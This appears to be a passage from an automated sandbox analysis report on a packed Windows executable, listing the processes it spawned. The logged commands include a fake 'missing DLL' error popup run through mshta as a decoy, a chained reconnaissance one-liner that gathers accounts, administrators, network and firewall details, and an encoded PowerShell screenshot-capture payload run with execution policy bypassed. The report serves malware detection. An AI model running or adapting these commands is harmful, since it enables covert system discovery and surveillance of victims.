Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic startup get caption,command
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /svc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query type= service state= all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show config
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\System32\query.exe	Process created: C:\Windows\System32\quser.exe "C:\Windows\system32\quser.exe"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user guest
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES71B8.tmp" "c:\Users\user\AppData\Local\Temp\iqddoona\CSCE5D39DCC87804C2589D261464B53262.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid

Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()"
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "echo ####system info#### & systeminfo & echo ####system version#### & ver & echo ####host name#### & hostname & echo ####environment variable#### & set & echo ####logical disk#### & wmic logicaldisk get caption,description,providername & echo ####user info#### & net user & echo ####online user#### & query user & echo ####local group#### & net localgroup & echo ####administrators info#### & net localgroup administrators & echo ####guest user info#### & net user guest & echo ####administrator user info#### & net user administrator & echo ####startup info#### & wmic startup get caption,command & echo ####tasklist#### & tasklist /svc & echo ####ipconfig#### & ipconfig/all & echo ####hosts#### & type c:\windows\system32\drivers\etc\hosts & echo ####route table#### & route print & echo ####arp info#### & arp -a & echo ####netstat#### & netstat -ano & echo ####service info#### & sc query type= service state= all & echo ####firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()""	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "echo ####system info#### & systeminfo & echo ####system version#### & ver & echo ####host name#### & hostname & echo ####environment variable#### & set & echo ####logical disk#### & wmic logicaldisk get caption,description,providername & echo ####user info#### & net user & echo ####online user#### & query user & echo ####local group#### & net localgroup & echo ####administrators info#### & net localgroup administrators & echo ####guest user info#### & net user guest & echo ####administrator user info#### & net user administrator & echo ####startup info#### & wmic startup get caption,command & echo ####tasklist#### & tasklist /svc & echo ####ipconfig#### & ipconfig/all & echo ####hosts#### & type c:\windows\system32\drivers\etc\hosts & echo ####route table#### & route print & echo ####arp info#### & arp -a & echo ####netstat#### & netstat -ano & echo ####service info#### & sc query type= service state= all & echo ####firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab

Source: C:\Users\user\Desktop\rename_me_before.exe

Code function: 0_2_00007FF640508880 cpuid

0_2_00007FF640508880

Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\attrs-23.2.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\attrs-23.2.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\attrs-23.2.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\attrs-23.2.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography-42.0.8.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography-42.0.8.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography-42.0.8.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography-42.0.8.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography-42.0.8.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography-42.0.8.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography-42.0.8.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography-42.0.8.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\Desktop\rename_me_before.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI13962 VolumeInformation	Jump to behavior
